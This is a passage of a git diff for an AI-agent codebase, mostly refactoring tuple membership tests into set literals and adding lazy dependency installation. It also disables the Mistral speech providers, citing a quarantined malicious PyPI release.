+ if resp.status not in {200, 201}: body = await resp.text() return _error(f"Discord forum thread creation error ({resp.status}): {body}") data = await resp.json() @@ -1076,7 +1076,7 @@ async def _send_discord(token, chat_id, message, thread_id=None, media_files=Non # Send text message (skip if empty and media is present) if message.strip() or not media_files: async with session.post(url, headers=json_headers, json={"content": message}, **_req_kw) as resp: - if resp.status not in (200, 201): + if resp.status not in {200, 201}: body = await resp.text() return _error(f"Discord API error ({resp.status}): {body}") last_data = await resp.json() @@ -1094,7 +1094,7 @@ async def _send_discord(token, chat_id, message, thread_id=None, media_files=Non with open(media_path, "rb") as f: form.add_field("files[0]", f, filename=filename) async with session.post(url, headers=auth_headers, data=form, **_req_kw) as resp: - if resp.status not in (200, 201): + if resp.status not in {200, 201}: body = await resp.text() warning = _sanitize_error_text(f"Failed to send media {media_path}: Discord API error ({resp.status}): {body}") logger.error(warning) @@ -1457,7 +1457,7 @@ async def _send_mattermost(token, extra, chat_id, message): headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} async with aiohttp.ClientSession(timeout=aiohttp.ClientTimeout(total=30)) as session: async with session.post(url, headers=headers, json={"channel_id": chat_id, "message": message}) as resp: - if resp.status not in (200, 201): + if resp.status not in {200, 201}: body = await resp.text() return _error(f"Mattermost API error ({resp.status}): {body}") data = await resp.json() @@ -1501,7 +1501,7 @@ async def _send_matrix(token, extra, chat_id, message): async with aiohttp.ClientSession(timeout=aiohttp.ClientTimeout(total=30)) as session: async with session.put(url, headers=headers, json=payload) as resp: - if resp.status not in (200, 201): + if resp.status not in {200, 201}: body = await resp.text() return _error(f"Matrix API error ({resp.status}): {body}") data = await resp.json() @@ -1585,7 +1585,7 @@ async def _send_homeassistant(token, extra, chat_id, message): headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} async with aiohttp.ClientSession(timeout=aiohttp.ClientTimeout(total=30)) as session: async with session.post(url, headers=headers, json={"message": message, "target": chat_id}) as resp: - if resp.status not in (200, 201): + if resp.status not in {200, 201}: body = await resp.text() return _error(f"Home Assistant API error ({resp.status}): {body}") return {"success": True, "platform": "homeassistant", "chat_id": chat_id} @@ -1757,7 +1757,20 @@ async def _send_feishu(pconfig, chat_id, message, media_files=None, thread_id=No def _check_send_message(): - """Gate send_message on gateway running (always available on messaging platforms).""" + """Gate send_message on gateway running (always available on messaging platforms). + + Also passes for kanban workers — the dispatcher sets ``HERMES_KANBAN_TASK`` + on every spawned worker, but those workers run with the assignee profile's + ``HERMES_HOME`` which has no ``gateway.pid``, so the gateway-running check + would fail even though the parent gateway is alive. Honoring the env var + lets workers call ``send_message`` to deliver rich content directly to the + originating chat (paired with ``kanban_complete`` for the short notifier + summary), which is the canonical pattern for any worker that needs to + reply with more than the ~200-char first-line truncation the kanban + notifier applies. + """ + if os.environ.get("HERMES_KANBAN_TASK"): + return True from gateway.session_context import get_session_env platform = get_session_env("HERMES_SESSION_PLATFORM", "") if platform and platform != "local": @@ -1814,7 +1827,7 @@ async def _send_qqbot(pconfig, chat_id, message): # Try channel endpoint first (works for guild channels) url = f"https://api.sgroup.qq.com/channels/{chat_id}/messages" resp = await client.post(url, json=payload, headers=headers) - if resp.status_code in (200, 201): + if resp.status_code in {200, 201}: data = resp.json() return {"success": True, "platform": "qqbot", "chat_id": chat_id, "message_id": data.get("id")} @@ -1822,7 +1835,7 @@ async def _send_qqbot(pconfig, chat_id, message): # If channel endpoint failed (likely "频道不存在"), try C2C endpoint url_c2c = f"https://api.sgroup.qq.com/v2/users/{chat_id}/messages" resp_c2c = await client.post(url_c2c, json=payload, headers=headers) - if resp_c2c.status_code in (200, 201): + if resp_c2c.status_code in {200, 201}: data = resp_c2c.json() return {"success": True, "platform": "qqbot", "chat_id": chat_id, "message_id": data.get("id")} @@ -1830,7 +1843,7 @@ async def _send_qqbot(pconfig, chat_id, message): # If C2C also failed, try group endpoint url_group = f"https://api.sgroup.qq.com/v2/groups/{chat_id}/messages" resp_group = await client.post(url_group, json=payload, headers=headers) - if resp_group.status_code in (200, 201): + if resp_group.status_code in {200, 201}: data = resp_group.json() return {"success": True, "platform": "qqbot", "chat_id": chat_id, "message_id": data.get("id")} diff --git a/tools/skill_manager_tool.py b/tools/skill_manager_tool.py index d253cd2a7cd6..caa30f321c64 100644 --- a/tools/skill_manager_tool.py +++ b/tools/skill_manager_tool.py @@ -780,7 +780,7 @@ def skill_manage( if action == "create": if is_background_review(): mark_agent_created(name) - elif action in ("patch", "edit", "write_file", "remove_file"): + elif action in {"patch", "edit", "write_file", "remove_file"}: bump_patch(name) elif action == "delete": forget(name) diff --git a/tools/skills_guard.py b/tools/skills_guard.py index ffb965b52120..363e983da1a9 100644 --- a/tools/skills_guard.py +++ b/tools/skills_guard.py @@ -814,7 +814,7 @@ def _check_structure(skill_dir: Path) -> List[Finding]: )) # Executable permission on non-script files - if ext not in ('.sh', '.bash', '.py', '.rb', '.pl') and f.stat().st_mode & 0o111: + if ext not in {'.sh', '.bash', '.py', '.rb', '.pl'} and f.stat().st_mode & 0o111: findings.append(Finding( pattern_id="unexpected_executable", severity="medium", @@ -928,5 +928,5 @@ def _build_summary(name: str, source: str, trust: str, verdict: str, findings: L if not findings: return f"{name}: clean scan, no threats detected" - categories = set(f.category for f in findings) + categories = {f.category for f in findings} return f"{name}: {verdict} — {len(findings)} finding(s) in {', '.join(sorted(categories))}" diff --git a/tools/skills_hub.py b/tools/skills_hub.py index c070a7de5f94..3e2c27c338a1 100644 --- a/tools/skills_hub.py +++ b/tools/skills_hub.py @@ -101,7 +101,7 @@ def _normalize_bundle_path(path_value: str, *, field_name: str, allow_nested: bo normalized = raw.replace("\\", "/") path = PurePosixPath(normalized) - parts = [part for part in path.parts if part not in ("", ".")] + parts = [part for part in path.parts if part not in {"", "."}] if normalized.startswith("/") or path.is_absolute(): raise ValueError(f"Unsafe {field_name}: {path_value}") @@ -1415,7 +1415,7 @@ def _discover_identifier(self, identifier: str, detail: Optional[dict] = None) - dir_name = entry["name"] if dir_name.startswith((".", "_")): continue - if dir_name in ("skills", ".agents", ".claude"): + if dir_name in {"skills", ".agents", ".claude"}: continue # already tried # Try direct: repo/dir/skill_token direct_id = f"{repo}/{dir_name}/{skill_token}" diff --git a/tools/skills_sync.py b/tools/skills_sync.py index 98cd85c39404..0c65b6281c77 100644 --- a/tools/skills_sync.py +++ b/tools/skills_sync.py @@ -345,7 +345,7 @@ def reset_bundled_skill(name: str, restore: bool = False) -> dict: manifest = _read_manifest() bundled_dir = _get_bundled_dir() bundled_skills = _discover_bundled_skills(bundled_dir) - bundled_by_name = {skill_name: skill_dir for skill_name, skill_dir in bundled_skills} + bundled_by_name = dict(bundled_skills) in_manifest = name in manifest is_bundled = name in bundled_by_name diff --git a/tools/skills_tool.py b/tools/skills_tool.py index 5da340c86b4a..32296729fe24 100644 --- a/tools/skills_tool.py +++ b/tools/skills_tool.py @@ -721,7 +721,7 @@ def skills_list(category: str = None, task_id: str = None) -> str: # Extract unique categories categories = sorted( - set(s.get("category") for s in all_skills if s.get("category")) + {s.get("category") for s in all_skills if s.get("category")} ) return json.dumps( @@ -1133,7 +1133,7 @@ def skill_view( available_files["assets"].append(rel) elif rel.startswith("scripts/"): available_files["scripts"].append(rel) - elif f.suffix in [ + elif f.suffix in { ".md", ".py", ".yaml", @@ -1141,7 +1141,7 @@ def skill_view( ".json", ".tex", ".sh", - ]: + }: available_files["other"].append(rel) # Remove empty categories diff --git a/tools/terminal_tool.py b/tools/terminal_tool.py index 3ff22e3f8824..4d8512c345ef 100644 --- a/tools/terminal_tool.py +++ b/tools/terminal_tool.py @@ -139,7 +139,7 @@ def _check_vercel_sandbox_requirements(config: dict[str, Any]) -> bool: return False disk = config.get("container_disk", 51200) - if disk not in (0, 51200): + if disk not in {0, 51200}: logger.error( "Vercel Sandbox does not support custom TERMINAL_CONTAINER_DISK=%s. " "Use the default shared setting (51200 MB).", @@ -416,7 +416,7 @@ def read_password_thread(): chars = [] while True: c = msvcrt.getwch() - if c in ("\r", "\n"): + if c in {"\r", "\n"}: break if c == "\x03": raise KeyboardInterrupt @@ -432,7 +432,7 @@ def read_password_thread(): chars = [] while True: b = os.read(tty_fd, 1) - if not b or b in (b"\n", b"\r"): + if not b or b in {b"\n", b"\r"}: break chars.append(b) result["password"] = b"".join(chars).decode("utf-8", errors="replace") @@ -707,7 +707,7 @@ def _rewrite_compound_background(command: str) -> str: continue # Quoted tokens — consume whole string via the shared tokenizer. - if ch in ("'", '"'): + if ch in {"'", '"'}: _, next_i = _read_shell_token(command, i) i = max(next_i, i + 1) continue @@ -888,6 +888,7 @@ def _transform_sudo_command(command: str | None) -> tuple[str | None, str | None from tools.environments.modal import ModalEnvironment as _ModalEnvironment from tools.environments.managed_modal import ManagedModalEnvironment as _ManagedModalEnvironment from tools.managed_tool_gateway import is_managed_tool_gateway_ready +import sys # Tool description for LLM @@ -1009,7 +1010,7 @@ def _get_env_config() -> Dict[str, Any]: default_image = "nikolaik/python-nodejs:python3.11-nodejs20" env_type = os.getenv("TERMINAL_ENV", "local") - mount_docker_cwd = os.getenv("TERMINAL_DOCKER_MOUNT_CWD_TO_WORKSPACE", "false").lower() in ("true", "1", "yes") + mount_docker_cwd = os.getenv("TERMINAL_DOCKER_MOUNT_CWD_TO_WORKSPACE", "false").lower() in {"true", "1", "yes"} # Default cwd: local uses the host's current directory, ssh uses the # remote home, Vercel uses its documented workspace root, and everything @@ -1041,7 +1042,7 @@ def _get_env_config() -> Dict[str, Any]: ): host_cwd = candidate cwd = "/workspace" - elif env_type in ("modal", "docker", "singularity", "daytona", "vercel_sandbox") and cwd: + elif env_type in {"modal", "docker", "singularity", "daytona", "vercel_sandbox"} and cwd: # Host paths and relative paths that won't work inside containers is_host_path = any(cwd.startswith(p) for p in host_prefixes) is_relative = not os.path.isabs(cwd) # e.g. "." or "src/" @@ -1076,17 +1077,17 @@ def _get_env_config() -> Dict[str, Any]: "ssh_persistent": os.getenv( "TERMINAL_SSH_PERSISTENT", os.getenv("TERMINAL_PERSISTENT_SHELL", "true"), - ).lower() in ("true", "1", "yes"), - "local_persistent": os.getenv("TERMINAL_LOCAL_PERSISTENT", "false").lower() in ("true", "1", "yes"), + ).lower() in {"true", "1", "yes"}, + "local_persistent": os.getenv("TERMINAL_LOCAL_PERSISTENT", "false").lower() in {"true", "1", "yes"}, # Container resource config (applies to docker, singularity, modal, # daytona, and vercel_sandbox -- ignored for local/ssh) "container_cpu": _parse_env_var("TERMINAL_CONTAINER_CPU", "1", float, "number"), "container_memory": _parse_env_var("TERMINAL_CONTAINER_MEMORY", "5120"), # MB (default 5GB) "container_disk": _parse_env_var("TERMINAL_CONTAINER_DISK", "51200"), # MB (default 50GB) - "container_persistent": os.getenv("TERMINAL_CONTAINER_PERSISTENT", "true").lower() in ("true", "1", "yes"), + "container_persistent": os.getenv("TERMINAL_CONTAINER_PERSISTENT", "true").lower() in {"true", "1", "yes"}, "docker_volumes": _parse_env_var("TERMINAL_DOCKER_VOLUMES", "[]", json.loads, "valid JSON"), "docker_env": _parse_env_var("TERMINAL_DOCKER_ENV", "{}", json.loads, "valid JSON"), - "docker_run_as_host_user": os.getenv("TERMINAL_DOCKER_RUN_AS_HOST_USER", "false").lower() in ("true", "1", "yes"), + "docker_run_as_host_user": os.getenv("TERMINAL_DOCKER_RUN_AS_HOST_USER", "false").lower() in {"true", "1", "yes"}, "docker_extra_args": _parse_env_var("TERMINAL_DOCKER_EXTRA_ARGS", "[]", json.loads, "valid JSON"), } @@ -1782,7 +1783,7 @@ def terminal_tool( } container_config = None - if env_type in ("docker", "singularity", "modal", "daytona", "vercel_sandbox"): + if env_type in {"docker", "singularity", "modal", "daytona", "vercel_sandbox"}: container_config = { "container_cpu": config.get("container_cpu", 1), "container_memory": config.get("container_memory", 5120), @@ -2243,7 +2244,7 @@ def check_terminal_requirements() -> bool: if not check_terminal_requirements(): print("\n❌ Requirements not met. Please check the messages above.") - exit(1) + sys.exit(1) print("\n✅ All requirements met!") print("\nAvailable Tool:") diff --git a/tools/tirith_security.py b/tools/tirith_security.py index bad94c96f7fa..350265d33a14 100644 --- a/tools/tirith_security.py +++ b/tools/tirith_security.py @@ -52,7 +52,7 @@ def _env_bool(key: str, default: bool) -> bool: val = os.getenv(key) if val is None: return default - return val.lower() in ("1", "true", "yes") + return val.lower() in {"1", "true", "yes"} def _env_int(key: str, default: int) -> int: @@ -189,14 +189,14 @@ def _detect_target() -> str | None: # Android (Termux) is ABI-compatible with Linux — reuse Linux binaries. if system == "Darwin": plat = "apple-darwin" - elif system in ("Linux", "Android"): + elif system in {"Linux", "Android"}: plat = "unknown-linux-gnu" else: return None - if machine in ("x86_64", "amd64"): + if machine in {"x86_64", "amd64"}: arch = "x86_64" - elif machine in ("aarch64", "arm64"): + elif machine in {"aarch64", "arm64"}: arch = "aarch64" else: return None diff --git a/tools/todo_tool.py b/tools/todo_tool.py index b0d38a234266..99d9ffe8515c 100644 --- a/tools/todo_tool.py +++ b/tools/todo_tool.py @@ -109,7 +109,7 @@ def format_for_injection(self) -> Optional[str]: # cause the model to re-do finished work after compression. active_items = [ item for item in self._items - if item["status"] in ("pending", "in_progress") + if item["status"] in {"pending", "in_progress"} ] if not active_items: return None diff --git a/tools/transcription_tools.py b/tools/transcription_tools.py index 663345eb7476..5009947895c4 100644 --- a/tools/transcription_tools.py +++ b/tools/transcription_tools.py @@ -252,11 +252,16 @@ def _get_provider(stt_config: dict) -> str: return "none" if provider == "mistral": - if _HAS_MISTRAL and get_env_value("MISTRAL_API_KEY"): - return "mistral" + # `mistralai` PyPI package was quarantined on 2026-05-12 after a + # malicious 2.4.6 release. Refuse to use this provider until it's + # available again so we surface a clear message instead of an + # opaque ImportError mid-call. logger.warning( - "STT provider 'mistral' configured but mistralai package " - "not installed or MISTRAL_API_KEY not set" + "STT provider 'mistral' (Voxtral Transcribe) is temporarily " + "disabled — `mistralai` PyPI package is quarantined " + "(malicious 2.4.6 release on 2026-05-12). Falling back to " + "another provider. Set stt.provider in config.yaml to 'local' " + "or 'openai' to silence this warning." ) return "none" @@ -270,7 +275,9 @@ def _get_provider(stt_config: dict) -> str: return provider # Unknown — let it fail downstream - # --- Auto-detect (no explicit provider): local > groq > openai > mistral > xai - + # --- Auto-detect (no explicit provider): local > groq > openai > xai --- + # mistral is intentionally skipped while `mistralai` is quarantined on + # PyPI (malicious 2.4.6 release on 2026-05-12). if _HAS_FASTER_WHISPER: return "local" @@ -282,9 +289,6 @@ def _get_provider(stt_config: dict) -> str: if _HAS_OPENAI and _has_openai_audio_backend(): logger.info("No local STT available, using OpenAI Whisper API") return "openai" - if _HAS_MISTRAL and get_env_value("MISTRAL_API_KEY"): - logger.info("No local STT available, using Mistral Voxtral Transcribe API") - return "mistral" if get_env_value("XAI_API_KEY"): logger.info("No local STT available, using xAI Grok STT API") return "xai" diff --git a/tools/tts_tool.py b/tools/tts_tool.py index 7a190081a105..1ea3ba21c635 100644 --- a/tools/tts_tool.py +++ b/tools/tts_tool.py @@ -80,11 +80,34 @@ def get_env_value(name, default=None): def _import_edge_tts(): """Lazy import edge_tts. Returns the module or raises ImportError.""" + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("tts.edge", prompt=False) + except ImportError: + pass + except Exception as e: + raise ImportError(str(e)) import edge_tts return edge_tts def _import_elevenlabs(): - """Lazy import ElevenLabs client. Returns the class or raises ImportError.""" + """Lazy import ElevenLabs client. Returns the class or raises ImportError. + + Calls :func:`tools.lazy_deps.ensure` first so the SDK gets installed on + demand if the user picked ElevenLabs as their TTS provider but never ran + the post-setup hook (e.g. enabled it by editing config.yaml directly). + Raises ``ImportError`` on lazy-install failure so existing callers' + error-handling paths keep working. + """ + try: + from tools.lazy_deps import FeatureUnavailable, ensure + ensure("tts.elevenlabs", prompt=False) + except ImportError: + # lazy_deps module itself missing — fall through to the raw import + # so older code paths still get a clean ImportError. + pass + except Exception as e: # FeatureUnavailable or any unexpected error + raise ImportError(str(e)) from elevenlabs.client import ElevenLabs return ElevenLabs @@ -466,13 +489,12 @@ def _shell_quote_context(command_template: str, position: int) -> Optional[str]: escaped = True elif char == '"': quote = None - else: - if char == "'": - quote = "'" - elif char == '"': - quote = '"' - elif char == "\\": - i += 1 + elif char == "'": + quote = "'" + elif char == '"': + quote = '"' + elif char == "\\": + i += 1 i += 1 return quote @@ -849,13 +871,13 @@ def _generate_openai_tts(text: str, output_path: str, tts_config: Dict[str, Any] OpenAIClient = _import_openai_client() client = OpenAIClient(api_key=api_key, base_url=base_url) try: - create_kwargs = dict( - model=model, - voice=voice, - input=text, - response_format=response_format, - extra_headers={"x-idempotency-key": str(uuid.uuid4())}, - ) + create_kwargs = { + "model": model, + "voice": voice, + "input": text, + "response_format": response_format, + "extra_headers": {"x-idempotency-key": str(uuid.uuid4())}, + } if speed != 1.0: create_kwargs["speed"] = max(0.25, min(4.0, speed)) response = client.audio.speech.create(**create_kwargs) @@ -1613,7 +1635,7 @@ def text_to_speech_tool( file_path = out_dir / f"tts_{timestamp}.{fmt}" # Use .ogg for Telegram with providers that support native Opus output, # otherwise fall back to .mp3 (Edge TTS will attempt ffmpeg conversion later). - elif want_opus and provider in ("openai", "elevenlabs", "mistral", "gemini"): + elif want_opus and provider in {"openai", "elevenlabs", "mistral", "gemini"}: file_path = out_dir / f"tts_{timestamp}.ogg" else: file_path = out_dir / f"tts_{timestamp}.mp3" @@ -1663,16 +1685,21 @@ def text_to_speech_tool( _generate_xai_tts(text, file_str, tts_config) elif provider == "mistral": - try: - _import_mistral_client() - except ImportError: - return json.dumps({ - "success": False, - "error": "Mistral provider selected but 'mistralai' package not installed. " - "Run: pip install 'hermes-agent[mistral]'" - }, ensure_ascii=False) - logger.info("Generating speech with Mistral Voxtral TTS...") - _generate_mistral_tts(text, file_str, tts_config) + # `mistralai` PyPI package was quarantined on 2026-05-12 after a + # malicious 2.4.6 release. Surface a clear status message instead + # of attempting an import that would either fail or pull a stale + # cached package. + return json.dumps({ + "success": False, + "error": ( + "Mistral Voxtral TTS is temporarily disabled. The " + "`mistralai` PyPI package was quarantined on 2026-05-12 " + "after a malicious 2.4.6 release. Switch tts.provider in " + "config.yaml to 'edge', 'elevenlabs', 'openai', 'minimax', " + "'gemini', 'xai', 'neutts', or 'kittentts'. Mistral " + "support will return once PyPI un-quarantines the package." + ), + }, ensure_ascii=False) elif provider == "gemini": logger.info("Generating speech with Google Gemini TTS...") @@ -1763,12 +1790,12 @@ def text_to_speech_tool( if opus_path: file_str = opus_path voice_compatible = file_str.endswith(".ogg") - elif provider in ("edge", "neutts", "minimax", "xai", "kittentts", "piper") and not file_str.endswith(".ogg"): + elif provider in {"edge", "neutts", "minimax", "xai", "kittentts", "piper"} and not file_str.endswith(".ogg"): opus_path = _convert_to_opus(file_str) if opus_path: file_str = opus_path voice_compatible = True - elif provider in ("elevenlabs", "openai", "mistral", "gemini"): + elif provider in {"elevenlabs", "openai", "mistral", "gemini"}: voice_compatible = file_str.endswith(".ogg") file_size = os.path.getsize(file_str) diff --git a/tools/url_safety.py b/tools/url_safety.py index 723b1b0c7c36..743510b2757f 100644 --- a/tools/url_safety.py +++ b/tools/url_safety.py @@ -96,10 +96,10 @@ def _global_allow_private_urls() -> bool: # 1. Env var override (highest priority) env_val = os.getenv("HERMES_ALLOW_PRIVATE_URLS", "").strip().lower() - if env_val in ("true", "1", "yes"): + if env_val in {"true", "1", "yes"}: _cached_allow_private = True return _cached_allow_private - if env_val in ("false", "0", "no"): + if env_val in {"false", "0", "no"}: # Explicit false — don't fall through to config return _cached_allow_private diff --git a/tools/vision_tools.py b/tools/vision_tools.py index d8c6f64f021c..912777e2e255 100644 --- a/tools/vision_tools.py +++ b/tools/vision_tools.py @@ -41,6 +41,7 @@ from hermes_constants import get_hermes_dir from tools.debug_helpers import DebugSession from tools.website_policy import check_website_access +import sys logger = logging.getLogger(__name__) @@ -346,7 +347,7 @@ def _resize_image_for_vision(image_path: Path, mime_type: Optional[str] = None, data_url = _image_to_base64_data_url(image_path, mime_type=mime_type) return data_url # fall through to size-check in caller # Convert RGBA to RGB for JPEG output - if pil_format == "JPEG" and img.mode in ("RGBA", "P"): + if pil_format == "JPEG" and img.mode in {"RGBA", "P"}: img = img.convert("RGB") # Strategy: halve dimensions until base64 fits, up to 4 rounds. @@ -937,7 +938,7 @@ def check_vision_requirements() -> bool: if not api_available: print("❌ No auxiliary vision model available") print("Configure a supported multimodal backend (OpenRouter, Nous, Codex, Anthropic, or a custom OpenAI-compatible endpoint).") - exit(1) + sys.exit(1) else: print("✅ Vision model available") diff --git a/tools/voice_mode.py b/tools/voice_mode.py index 6166ade2a3f5..238fed4b2894 100644 --- a/tools/voice_mode.py +++ b/tools/voice_mode.py @@ -456,8 +456,7 @@ def _callback(indata, frames, time_info, status): # noqa: ARG001 # Compute RMS for level display and silence detection rms = int(np.sqrt(np.mean(indata.astype(np.float64) ** 2))) self._current_rms = rms - if rms > self._peak_rms: - self._peak_rms = rms + self._peak_rms = max(self._peak_rms, rms) # Silence detection if self._on_silence_stop is not None: diff --git a/tools/web_tools.py b/tools/web_tools.py index 687a06f74640..401a34a5736a 100644 --- a/tools/web_tools.py +++ b/tools/web_tools.py @@ -64,6 +64,13 @@ def _load_firecrawl_cls() -> type: """Import and cache ``firecrawl.Firecrawl``.""" global _FIRECRAWL_CLS_CACHE if _FIRECRAWL_CLS_CACHE is None: + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("search.firecrawl", prompt=False) + except ImportError: + pass + except Exception as e: + raise ImportError(str(e)) from firecrawl import Firecrawl as _cls _FIRECRAWL_CLS_CACHE = _cls return _FIRECRAWL_CLS_CACHE @@ -100,6 +107,7 @@ def __repr__(self): from tools.tool_backend_helpers import managed_nous_tools_enabled, prefers_gateway from tools.url_safety import is_safe_url from tools.website_policy import check_website_access +import sys logger = logging.getLogger(__name__) @@ -126,7 +134,7 @@ def _get_backend() -> str: keys manually without running setup. """ configured = (_load_web_config().get("backend") or "").lower().strip() - if configured in ("parallel", "firecrawl", "tavily", "exa", "searxng", "brave-free", "ddgs"): + if configured in {"parallel", "firecrawl", "tavily", "exa", "searxng", "brave-free", "ddgs"}: return configured # Fallback for manual / legacy config — pick the highest-priority @@ -357,6 +365,13 @@ def _get_parallel_client(): Requires PARALLEL_API_KEY environment variable. """ + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("search.parallel", prompt=False) + except ImportError: + pass + except Exception as e: + raise ImportError(str(e)) from parallel import Parallel global _parallel_client if _parallel_client is None: @@ -375,6 +390,13 @@ def _get_async_parallel_client(): Requires PARALLEL_API_KEY environment variable. """ + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("search.parallel", prompt=False) + except ImportError: + pass + except Exception as e: + raise ImportError(str(e)) from parallel import AsyncParallel global _async_parallel_client if _async_parallel_client is None: @@ -989,6 +1011,13 @@ def _get_exa_client(): Requires EXA_API_KEY environment variable. """ + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("search.exa", prompt=False) + except ImportError: + pass + except Exception as e: + raise ImportError(str(e)) from exa_py import Exa global _exa_client if _exa_client is None: @@ -1074,7 +1103,7 @@ def _parallel_search(query: str, limit: int = 5) -> dict: return {"error": "Interrupted", "success": False} mode = os.getenv("PARALLEL_SEARCH_MODE", "agentic").lower().strip() - if mode not in ("fast", "one-shot", "agentic"): + if mode not in {"fast", "one-shot", "agentic"}: mode = "agentic" logger.info("Parallel search: '%s' (mode=%s, limit=%d)", query, mode, limit) @@ -1397,7 +1426,7 @@ async def web_extract_tool( "include_images": False, }) results = _normalize_tavily_documents(raw, fallback_url=safe_urls[0] if safe_urls else "") - elif backend in ("searxng", "brave-free", "ddgs"): + elif backend in {"searxng", "brave-free", "ddgs"}: # These backends are search-only — they cannot extract URL content _label = {"searxng": "SearXNG", "brave-free": "Brave Search (free tier)", "ddgs": "DuckDuckGo (ddgs)"}[backend] return json.dumps({ @@ -1781,7 +1810,7 @@ async def _process_tavily_crawl(result): return cleaned_result # SearXNG / Brave Search (free tier) / DuckDuckGo (ddgs) are search-only — they cannot crawl - if backend in ("searxng", "brave-free", "ddgs"): + if backend in {"searxng", "brave-free", "ddgs"}: _label = {"searxng": "SearXNG", "brave-free": "Brave Search (free tier)", "ddgs": "DuckDuckGo (ddgs)"}[backend] return json.dumps({ "error": f"{_label} is a search-only backend and cannot crawl URLs. " @@ -2084,7 +2113,7 @@ def check_firecrawl_api_key() -> bool: def check_web_api_key() -> bool: """Check whether the configured web backend is available.""" configured = _load_web_config().get("backend", "").lower().strip() - if configured in ("exa", "parallel", "firecrawl", "tavily", "searxng", "brave-free", "ddgs"): + if configured in {"exa", "parallel", "firecrawl", "tavily", "searxng", "brave-free", "ddgs"}: return _is_backend_available(configured) return any( _is_backend_available(backend) @@ -2130,15 +2159,14 @@ def check_auxiliary_model() -> bool: print(" Using Brave Search free tier (search only)") elif backend == "ddgs": print(" Using DuckDuckGo via ddgs package (search only)") + elif firecrawl_url_available: + print(f" Using self-hosted Firecrawl: {os.getenv('FIRECRAWL_API_URL').strip().rstrip('/')}") + elif firecrawl_key_available: + print(" Using direct Firecrawl cloud API") + elif tool_gateway_available: + print(f" Using Firecrawl tool-gateway: {_get_firecrawl_gateway_url()}") else: - if firecrawl_url_available: - print(f" Using self-hosted Firecrawl: {os.getenv('FIRECRAWL_API_URL').strip().rstrip('/')}") - elif firecrawl_key_available: - print(" Using direct Firecrawl cloud API") - elif tool_gateway_available: - print(f" Using Firecrawl tool-gateway: {_get_firecrawl_gateway_url()}") - else: - print(" Firecrawl backend selected but not configured") + print(" Firecrawl backend selected but not configured") else: print("❌ No web search backend configured") print( @@ -2154,7 +2182,7 @@ def check_auxiliary_model() -> bool: print(f"✅ Auxiliary model available: {default_summarizer_model}") if not web_available: - exit(1) + sys.exit(1) print("🛠️ Web tools ready for use!") diff --git a/tools/yuanbao_tools.py b/tools/yuanbao_tools.py index e12307b85e05..6466458d34fe 100644 --- a/tools/yuanbao_tools.py +++ b/tools/yuanbao_tools.py @@ -122,7 +122,7 @@ async def query_group_members( hint = {"mention_hint": MENTION_HINT} if mention else {} if action == "list_bots": - bots = [m for m in all_members if m["role"] in ("yuanbao_ai", "bot")] + bots = [m for m in all_members if m["role"] in {"yuanbao_ai", "bot"}] if not bots: return {"success": False, "error": "No bots found in this group."} return { diff --git a/tui_gateway/entry.py b/tui_gateway/entry.py index 12d53c6d2e59..0400a3fcbfff 100644 --- a/tui_gateway/entry.py +++ b/tui_gateway/entry.py @@ -9,7 +9,7 @@ sys.path.insert(0, _src_root) # Strip '' and '.' — both resolve to CWD at import time and can let a local # directory shadow installed packages. -sys.path = [p for p in sys.path if p not in ("", ".")] +sys.path = [p for p in sys.path if p not in {"", "."}] import json import signal diff --git a/tui_gateway/server.py b/tui_gateway/server.py index 07febffaf981..d105250701d5 100644 --- a/tui_gateway/server.py +++ b/tui_gateway/server.py @@ -1624,27 +1624,27 @@ def _on_tool_progress( def _agent_cbs(sid: str) -> dict: - return dict( - tool_start_callback=lambda tc_id, name, args: _on_tool_start( + return { + "tool_start_callback": lambda tc_id, name, args: _on_tool_start( sid, tc_id, name, args ), - tool_complete_callback=lambda tc_id, name, args, result: _on_tool_complete( + "tool_complete_callback": lambda tc_id, name, args, result: _on_tool_complete( sid, tc_id, name, args, result ), - tool_progress_callback=lambda event_type, name=None, preview=None, args=None, **kwargs: _on_tool_progress( + "tool_progress_callback": lambda event_type, name=None, preview=None, args=None, **kwargs: _on_tool_progress( sid, event_type, name, preview, args, **kwargs ), - tool_gen_callback=lambda name: _tool_progress_enabled(sid) + "tool_gen_callback": lambda name: _tool_progress_enabled(sid) and _emit("tool.generating", sid, {"name": name}), - thinking_callback=lambda text: _emit("thinking.delta", sid, {"text": text}), - reasoning_callback=lambda text: _emit("reasoning.delta", sid, {"text": text}), - status_callback=lambda kind, text=None: _status_update( + "thinking_callback": lambda text: _emit("thinking.delta", sid, {"text": text}), + "reasoning_callback": lambda text: _emit("reasoning.delta", sid, {"text": text}), + "status_callback": lambda kind, text=None: _status_update( sid, str(kind), None if text is None else str(text) ), - clarify_callback=lambda q, c: _block( + "clarify_callback": lambda q, c: _block( "clarify.request", sid, {"question": q, "choices": c} ), - ) + } def _wire_callbacks(sid: str): @@ -1706,7 +1706,7 @@ def _available_personalities(cfg: dict | None = None) -> dict: def _validate_personality(value: str, cfg: dict | None = None) -> tuple[str, str]: raw = str(value or "").strip() name = raw.lower() - if not name or name in ("none", "default", "neutral"): + if not name or name in {"none", "default", "neutral"}: return "", "" personalities = _available_personalities(cfg) @@ -2053,7 +2053,7 @@ def _history_to_messages(history: list[dict]) -> list[dict]: if not isinstance(m, dict): continue role = m.get("role") - if role not in ("user", "assistant", "tool", "system"): + if role not in {"user", "assistant", "tool", "system"}: continue content_text = _content_display_text(m.get("content")) if role == "assistant" and m.get("tool_calls"): @@ -2496,7 +2496,7 @@ def _(rid, params: dict) -> dict: removed = 0 with session["history_lock"]: history = session.get("history", []) - while history and history[-1].get("role") in ("assistant", "tool"): + while history and history[-1].get("role") in {"assistant", "tool"}: history.pop() removed += 1 if history and history[-1].get("role") == "user": @@ -3251,7 +3251,6 @@ def _stream(delta): decision = goal_mgr.evaluate_after_turn( raw, user_initiated=True, - messages=list(session.get("history") or []), ) verdict_msg = decision.get("message") or "" if verdict_msg: @@ -3669,7 +3668,7 @@ def _(rid, params: dict) -> dict: {"key": key, "value": "fast" if current_fast else "normal"}, ) - if raw in ("", "toggle"): + if raw in {"", "toggle"}: nv = "normal" if current_fast else "fast" elif raw in {"fast", "on"}: nv = "fast" @@ -3717,7 +3716,7 @@ 